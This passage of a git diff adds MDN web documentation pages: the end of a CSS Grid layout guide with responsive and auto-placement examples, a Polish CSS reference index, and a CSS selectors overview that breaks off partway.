+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;header class="main-head"&gt;The header&lt;/header&gt;
+ &lt;nav class="main-nav"&gt;
+ &lt;ul&gt;
+ &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/nav&gt;
+ &lt;article class="content"&gt;&lt;h1&gt;Main article area&lt;/h1&gt;
+ &lt;p&gt;In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.&lt;/p&gt;&lt;/article&gt;
+ &lt;aside class="side"&gt;Sidebar&lt;/aside&gt;
+ &lt;div class="ad"&gt;Advertising&lt;/div&gt;
+ &lt;footer class="main-footer"&gt;The footer&lt;/footer&gt;
+ &lt;/div&gt;
+</pre>
+
+<p>I can then set up our grid, as for the example 12-column layout above.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(12, [col-start] 1fr);
+ grid-gap: 20px;
+}
+</pre>
+
+<p>We are once again going to make this a responsive layout, this time however using named lines. Every breakpoint will use a 12-column grid, however the number of tracks that items will span changes depending on the size of the screen.</p>
+
+<p>We start mobile first, and all we want for the narrowest screens is for the items to remain in source order, and all span right across the grid.</p>
+
+<pre class="brush: css">.wrapper &gt; * {
+ grid-column: col-start / span 12;
+}
+</pre>
+
+<p>At the next breakpoint we want to move to a two-column layout. Our header and navigation still span the full grid, so we do not need to specify any positioning for them. The sidebar is starting on the first column line named col-start, spanning 3 lines. It goes after row line 3, as the header and navigation are in the first two row tracks.</p>
+
+<p>The ad panel is below the sidebar, so starts at grid row line 4. Then we have the content and footer starting at col-start 4 and spanning 9 tracks taking them to the end of the grid.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+
+ .side {
+ grid-column: col-start / span 3;
+ grid-row: 3;
+ }
+ .ad {
+ grid-column: col-start / span 3;
+ grid-row: 4;
+ }
+ .content, .main-footer {
+ grid-column: col-start 4 / span 9;
+ }
+ nav ul {
+ display: flex;
+ justify-content: space-between;
+ }
+}
+</pre>
+
+<p>Finally we go to the three-column version of this layout. The header continues to span right across the grid, but now the navigation moves down to become the first sidebar, with the content and then the sidebar next to it. The footer now also spans across the full layout.</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+ .main-nav {
+ grid-column: col-start / span 2;
+ grid-row: 2 / 4;
+ }
+ .content {
+ grid-column: col-start 3 / span 8;
+ grid-row: 2 / 4;
+ }
+ .side {
+ grid-column: col-start 11 / span 2;
+ grid-row: 2;
+ }
+ .ad {
+ grid-column: col-start 11 / span 2;
+ grid-row: 3;
+ }
+ .main-footer {
+ grid-column: col-start / span 12;
+ }
+ nav ul {
+ flex-direction: column;
+ }
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_3', '800', '450') }}</p>
+</div>
+
+<p>Once again the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> is useful to help us see how our layout has taken shape.</p>
+
+<p><img alt="Showing the layout with grid tracks highlighted by the grid inspector." src="https://mdn.mozillademos.org/files/14755/11-grid-inspector-12col-layout.png" style="height: 614px; width: 2050px;"></p>
+
+<p>Something to note as we create this layout is that we haven’t needed to explicitly position every element on the grid at each breakpoint. We have been able to inherit the placement set up for earlier breakpoints – an advantage of working “mobile first”. We are also able to take advantage of grid auto-placement. By keeping elements in a logical order, auto-placement does quite a lot of work for us in placing items onto the grid. In the final example in this guide we will create a layout that entirely relies on auto-placement.</p>
+
+<h2 id="A_product_listing_with_auto-placement">A product listing with auto-placement</h2>
+
+<p>Many layouts are essentially sets of “cards” – product listings, image galleries, and so on. A grid can make it very easy to create these listings in a way that is responsive without needing to add <a href="/en-US/docs/Web/CSS/Media_Queries">media queries</a> to make it so. In this next example I’m combining CSS Grid and Flexbox Layouts to make a simple product listing layout.</p>
+
+<p>The markup for my listing is an unordered list of items. Each item contains a heading, some text of varying height, and a call to action link.</p>
+
+<div id="layout_4">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item One&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item Two&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li class="wide"&gt;
+ &lt;h2&gt;Item Three&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;
+ &lt;p&gt;This one has more text than the other items.&lt;/p&gt;
+ &lt;p&gt;Quite a lot more&lt;/p&gt;
+ &lt;p&gt;Perhaps we could do something different with it?&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item Four&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item Five&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+ img {max-width: 100%; display: block;}
+ body {
+ font: 1.2em Helvetica, arial, sans-serif;
+ }
+ a:link, a:visited {
+ text-decoration: none;
+ color: #f08c00;
+ }
+
+ h2 {
+ background-color: #f08c00;
+ color: #fff;
+ text-align: center;
+ margin: 0;
+ padding: 20px;
+ }
+</pre>
+</div>
+
+<p>We are going to create a grid with a flexible number of flexible columns. I want them never to become smaller than 200 pixels, and then to share any available remaining space equally – so we always get equal width column tracks. We achieve this with the <code>minmax()</code> function in our repeat notation for track sizing.</p>
+
+<pre class="brush: css">.listing {
+ list-style: none;
+ margin: 2em;
+ display: grid;
+ grid-gap: 20px;
+ grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+</pre>
+
+<p>As soon as I add this CSS, the items start to lay out as a grid. If I make the window smaller or wider the number of column tracks changes – without me needing to add breakpoints using media queries and redefine the grid.</p>
+
+<p>I can then tidy up the internals of the boxes using a little touch of flexbox. I set the list item to <code>display: flex</code> and the <code>flex-direction</code> to <code>column</code>. I can then use an auto margin on the <code>.cta</code> to push this bar down to the bottom of the box.</p>
+
+<pre class="brush: css">.listing li {
+ border: 1px solid #ffe066;
+ border-radius: 5px;
+ display: flex;
+ flex-direction: column;
+}
+.listing .cta {
+ margin-top: auto;
+ border-top: 1px solid #ffe066;
+ padding: 10px;
+ text-align: center;
+}
+.listing .body {
+ padding: 10px;
+}
+</pre>
+
+<p>This is really one of the key reasons I would use flexbox rather than grid, if I am just aligning or distributing something in a single dimension, that’s a flexbox use case. </p>
+
+<p>{{ EmbedLiveSample('layout_4', '800', '900') }}</p>
+</div>
+
+<p>This is all looking fairly complete now, however we sometimes have these cards which contain far more content than the others. It might be nice to cause those to span two tracks, and then they won’t be so tall. I have a class of <code>wide</code> on my larger item, and I add a rule {{cssxref("grid-column-end")}} with a value of <code>span 2</code>. Now when grid encounters this item, it will assign it two tracks. At some breakpoints, this means that we'll get a gap in the grid – where there isn’t space to lay out a two-track item.</p>
+
+<p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 812px; width: 800px;"></p>
+
+<p>I can cause a grid to backfill those gaps by setting {{cssxref("grid-auto-flow")}}<code>: dense </code> on the grid container. Take care when doing this however as it does take items away from their logical source order. You should only do this if your items do not have a set order – and be aware of the <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility#Visual_not_logical_re-ordering">issues</a> of the tab order following the source and not your reordered display.</p>
+
+<div id="layout_5">
+<div class="hidden">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item One&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item Two&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li class="wide"&gt;
+ &lt;h2&gt;Item Three&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;
+ &lt;p&gt;This one has more text than the other items.&lt;/p&gt;
+ &lt;p&gt;Quite a lot more&lt;/p&gt;
+ &lt;p&gt;Perhaps we could do something different with it?&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item Four&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;h2&gt;Item Five&lt;/h2&gt;
+ &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+ &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+ &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+ img {max-width: 100%; display: block;}
+ body {
+ font: 1.2em Helvetica, arial, sans-serif;
+ }
+ a:link, a:visited {
+ text-decoration: none;
+ color: #f08c00;
+ }
+
+ h2 {
+ background-color: #f08c00;
+ color: #fff;
+ text-align: center;
+ margin: 0;
+ padding: 20px;
+ }
+
+.listing li {
+ border: 1px solid #ffe066;
+ border-radius: 5px;
+ display: flex;
+ flex-direction: column;
+}
+.listing .cta {
+ margin-top: auto;
+ border-top: 1px solid #ffe066;
+ padding: 10px;
+ text-align: center;
+}
+.listing .body {
+ padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.listing {
+ list-style: none;
+ margin: 2em;
+ display: grid;
+ grid-gap: 20px;
+ grid-auto-flow: dense;
+ grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+ grid-column-end: span 2;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_5', '800', '900') }}</p>
+
+<p>This technique of using auto-placement with some rules applied to certain items is very useful, and can help you to deal with content that is being output by a CMS for example, where you have repeated items and can perhaps add a class to certain ones as they are rendered into the HTML.</p>
+</div>
+
+<h2 id="Further_exploration">Further exploration</h2>
+
+<p>The best way to learn to use grid layout is to continue to build examples like the ones we have covered here. Pick something that you normally build using your framework of choice, or using floats, and see if you can build it using grid. Don’t forget to find examples that are impossible to build with current methods. That might mean taking inspiration from magazines or other non-web sources. Grid Layout opens up possibilities that we have not had before, we don’t need to be tied to the same old layouts to use it.</p>
+
+<ul>
+ <li>For inspiration see the <a href="http://labs.jensimmons.com/"><em>Layout Labs</em> from Jen Simmons</a>, she has been creating layouts based on a range of sources.</li>
+ <li>For additional common layout patterns see <em><a href="http://gridbyexample.com">Grid by Example</a></em>, where there are many smaller examples of grid layout and also some larger UI patterns and full page layouts.</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/pl/web/css/css_reference/index.html b/files/pl/web/css/css_reference/index.html
new file mode 100644
index 0000000000..c6b8ea66c6
--- /dev/null
+++ b/files/pl/web/css/css_reference/index.html
@@ -0,0 +1,56 @@
+---
+title: Dokumentacja CSS
+slug: Web/CSS/CSS_Reference
+translation_of: Web/CSS/Reference
+---
+<p>Specyfikacja CSS zawiera wszystkie standardowe właściwości<span style="line-height: inherit;"> </span><a href="/pl/docs/CSS" style="line-height: inherit;" title="CSS">CSS</a>, w tym<span style="line-height: inherit;">  </span><a href="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-classes" title="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-classes"><span style="line-height: inherit;">pseudo-k</span>las</a><span style="line-height: inherit;"> i </span><a href="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-elements" title="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-elements"><span style="line-height: inherit;">pseudo-e</span>lementow</a><span style="line-height: inherit;">, za</span>sad używania <a href="https://developer.mozilla.org/en-US/docs/CSS/At-rule" title="https://developer.mozilla.org/en-US/docs/CSS/At-rule">znaku @</a><span style="line-height: inherit;">, </span><span style="line-height: inherit;">i selektorów w porządku alfabetycznym. Taka organizacja specyfikacji pozwala na szybki dostęp do szczegółowych informacji o każdym elemencie specyfikacji.</span><br>
+ <br>
+ Specyfikacja CSS nie tylko opisuje ustandaryzowane właściwości CSS1 i CSS2.1, ale odnosi się również do specyfikacji najnowszej wersji - <a href="/en/CSS/CSS3" title="CSS3">CSS3</a>, zarówno elementów w fazie koncepcji jak i elementów zatwierdzonych.</p>
+<div>
+ Zobacz także <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions" title="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions">rozszerzenie CSS Mozilli</a> skonstrułowanych dla programów opartych na Gecko, z prefiksem -moz; oraz <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Webkit_Extensions" title="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Webkit_Extensions">rozszerzenia CSS WebKit</a> dla programów opartych na tym silniku. Sprawdź <a href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/" title="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">zestawienie właściwości wszystko prefiksów CSS</a> autorstwa Petera Beverloo.</div>
+<p> </p>
+<div>
+ {{ CSS_Ref() }}</div>
+<h2 id="Selektory">Selektory</h2>
+<ul>
+ <li>Proste selektory
+ <ul>
+ <li><a href="/pl/docs/CSS/Type_selectors" title="Type selectors">Type selectors</a><code> elementname</code></li>
+ <li><a href="/pl/docs/CSS/Class_selectors" title="Class selectors">Class selectors</a> <code>.classname</code></li>
+ <li><a href="/pl/docs/CSS/ID_selectors" title="ID selectors">ID selectors</a> <code>#idname</code></li>
+ <li><a href="/pl/docs/CSS/Universal_selectors" title="Universal selectors">Universal selectors</a><code> * ns|* *|*</code></li>
+ </ul>
+ </li>
+ <li>Połączenia
+ <ul>
+ <li><a href="/pl/docs/CSS/Adjacent_sibling_selectors" title="Adjacent sibling selectors">Adjacent sibling selectors</a> <code>A + B</code></li>
+ <li><a href="/pl/docs/CSS/General_sibling_selectors" title="General sibling selectors">General sibling selectors</a> <code>A ~ B</code></li>
+ <li><a href="/pl/docs/CSS/Child_selectors" title="Child selectors">Child selectors</a> <code>A &gt; B</code></li>
+ <li><a href="/pl/docs/CSS/Descendant_selectors" title="Descendant selectors">Descendant selectors</a> <code>A B</code></li>
+ </ul>
+ </li>
+ <li><a href="/pl/docs/CSS/Pseudo-elements" title="Pseudo-elements">Pseudo-elements</a></li>
+ <li><a href="/pl/docs/CSS/Pseudo-classes" title="Pseudo-classes">Pseudo-classes</a></li>
+</ul>
+<h2 id="diverso">diverso</h2>
+<ul>
+ <li>{{ Cssxref("Comments") }}</li>
+ <li><a href="/pl/docs/CSS/Media_queries" title="How to use media queries">Media queries</a></li>
+ <li><a href="/pl/docs/CSS_Counters" title="How to use CSS Counters">Counters</a></li>
+ <li><a href="/pl/docs/CSS/Using_CSS_gradients" title="How to use CSS gradients">Gradients</a></li>
+ <li><a href="/pl/docs/CSS/Using_CSS_transforms" title="How to use CSS transforms">Transforms</a></li>
+</ul>
+<h2 id="Pojęcia">Pojęcia</h2>
+<ul>
+ <li><a href="/pl/docs/CSS/Syntax" title="Syntax">CSS syntax</a></li>
+ <li><a href="/pl/docs/CSS/At-rule" title="At-rule">At-rule</a></li>
+ <li><a href="/pl/docs/CSS/Comments" title='Comments"'>Comments</a></li>
+ <li><a href="/pl/docs/CSS/Specificity" title="Specificity">Specificity</a></li>
+ <li><a href="/pl/docs/CSS/initial_value" title="Initial value">Initial value</a></li>
+ <li><a href="/pl/docs/CSS/inheritance" title="Inheritance">Inheritance</a></li>
+ <li><a href="/pl/docs/CSS/specified_value" title="Specified value">Specified value</a></li>
+ <li><a href="/pl/docs/CSS/computed_value" title="Computed value">Computed value</a></li>
+ <li><a href="/pl/docs/CSS/used_value" title="Used value">Used value</a></li>
+ <li><a href="/pl/docs/CSS/actual_value" title="Actual value">Actual value</a></li>
+ <li><a href="/pl/docs/CSS/box_model" title="Box model">Box model</a></li>
+</ul>
diff --git a/files/pl/web/css/css_selectors/index.html b/files/pl/web/css/css_selectors/index.html
new file mode 100644
index 0000000000..a93359f339
--- /dev/null
+++ b/files/pl/web/css/css_selectors/index.html
@@ -0,0 +1,133 @@
+---
+title: CSS selectors
+slug: Web/CSS/CSS_Selectors
+tags:
+ - CSS
+ - NeedsTranslation
+ - Overview
+ - Reference
+ - Selectors
+ - TopicStub
+translation_of: Web/CSS/CSS_Selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>CSS selectors</strong> define the elements to which a set of CSS rules apply.</span></p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: There are no selectors or combinators to select parent items, siblings of parents, or children of parent siblings.</p>
+</div>
+
+<h2 id="Basic_selectors">Basic selectors</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Universal_selectors">Universal selector</a></dt>
+ <dd>Selects all elements. Optionally, it may be restricted to a specific namespace or to all namespaces.<br>
+ <strong>Syntax:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br>
+ <strong>Example:</strong> <code>*</code> will match all the elements of the document.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Type_selectors">Type selector</a></dt>
+ <dd>Selects all elements that have the given node name.<br>
+ <strong>Syntax:</strong> <code><var>elementname</var></code><br>
+ <strong>Example:</strong> <code>input</code> will match any {{HTMLElement("input")}} element.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Class_selectors">Class selector</a></dt>
+ <dd>Selects all elements that have the given <code>class</code> attribute.<br>
+ <strong>Syntax:</strong> <code>.<var>classname</var></code><br>
+ <strong>Example:</strong> <code>.index</code> will match any element that has a class of "index".</dd>
+ <dt><a href="/en-US/docs/Web/CSS/ID_selectors">ID selector</a></dt>
+ <dd>Selects an element based on the value of its <code>id</code> attribute. There should be only one element with a given ID in a document.<br>
+ <strong>Syntax:</strong> <code>#<var>idname</var></code><br>
+ <strong>Example:</strong> <code>#toc</code> will match the element that has the ID "toc".</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selector</a></dt>
+ <dd>Selects all elements that have the given attribute.<br>
+ <strong>Syntax:</strong> <code>[<var>attr</var>]</code> <code>[<var>attr</var>=<var>value</var>]</code> <code>[<var>attr</var>~=<var>value</var>]</code> <code>[<var>attr</var>|=<var>value</var>]</code> <code>[<var>attr</var>^=<var>value</var>]</code> <code>[<var>attr</var>$=<var>value</var>]</code> <code>[<var>attr</var>*=<var>value</var>]</code><br>
+ <strong>Example:</strong> <code>[autoplay]</code> will match all elements that have the <code>autoplay</code> attribute set (to any value).</dd>
+</dl>
+
+<h2 id="Grouping_selectors">Grouping selectors</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Selector_list">Selector list</a></dt>
+ <dd>The <code>,</code> is a grouping method, it selects all the matching nodes.<br>
+ <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var>, <var>B</var></code><br>
+ <strong>Example:</strong> <code>div, span</code> will match both {{HTMLElement("span")}} and {{HTMLElement("div")}} elements.</dd>
+</dl>
+
+<h2 id="Combinators">Combinators</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Descendant_combinator">Descendant combinator</a></dt>
+ <dd>The <code> </code> (space) combinator selects nodes that are descendants of the first element.<br>
+ <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> <var>B</var></code><br>
+ <strong>Example:</strong> <code>div span</code> will match all {{HTMLElement("span")}} elements that are inside a {{HTMLElement("div")}} element.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Child_combinator">Child combinator</a></dt>
+ <dd>The <code>&gt;</code> combinator selects nodes that are direct children of the first element.<br>
+ <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> &gt; <var>B</var></code><br>
+ <strong>Example:</strong> <code>ul &gt; li</code> will match all {{HTMLElement("li")}} elements that are nested directly inside a {{HTMLElement("ul")}} element.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/General_sibling_combinator">General sibling combinator</a></dt>
+ <dd>The <code>~</code> combinator selects siblings. This means that the second element follows the first (though not necessarily immediately), and both share the same parent.<br>
+ <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> ~ <var>B</var></code><br>
+ <strong>Example:</strong> <code>p ~ span</code> will match all {{HTMLElement("span")}} elements that follow a {{HTMLElement("p")}}, immediately or not.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Adjacent_sibling_combinator">Adjacent sibling combinator</a></dt>
+ <dd>The <code>+</code> combinator selects adjacent siblings. This means that the second element directly follows the first, and both share the same parent.<br>
+ <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> + <var>B</var></code><br>
+ <strong>Example:</strong> <code>h2 + p</code> will match all {{HTMLElement("p")}} elements that directly follow an {{HTMLElement("h2")}}.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Column_combinator">Column combinator</a> {{Experimental_Inline}}</dt>
+ <dd>The <code>||</code> combinator selects nodes which belong to a column.<br>
+ <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> || <var>B</var></code><br>
+ <strong>Example:</strong> <code>col || td</code> will match all {{HTMLElement("td")}} elements that belong to the scope of the {{HTMLElement("col")}}.</dd>
+</dl>
+
+<h2 id="Pseudo">Pseudo</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo classes</a></dt>
+ <dd>The <code>:</code> pseudo allow the selection of elements based on state information that is not contained in the document tree.<br>
+ <strong>Example:</strong> <code>a:visited</code> will match all {{HTMLElement("a")}} elements that have been visited by the user.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo elements</a></dt>
+ <dd>The <code>::</code> pseudo represent entities that are not included in HTML.<br>
+ <strong>Example:</strong> <code>p::first-line</code> will match the first line of all {{HTMLElement("p")}} elements.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>Added the <code>||</code> column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and UI pseudo-classes, modifier for ASCII case-sensitive and case-insensitive attribute value selection.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td>Added the <code>~</code> general sibling combinator and tree-structural pseudo-classes.<br>
+ Made pseudo-elements use a <code>::</code> double-colon prefix. Additional attribute selectors</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "selector.html")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Added the <code>&gt;</code> child and <code>+</code> adjacent sibling combinators.<br>
+ Added the <strong>universal</strong> and <strong>attribute</strong> selectors.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>See the <a href="/en-US/docs/Web/CSS/Pseudo-classes#Specifications">pseudo-class</a> and <a href="/en-US/docs/Web/CSS/Pseudo-elements#Specifications">pseudo-element</a> specification tables for details on those.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
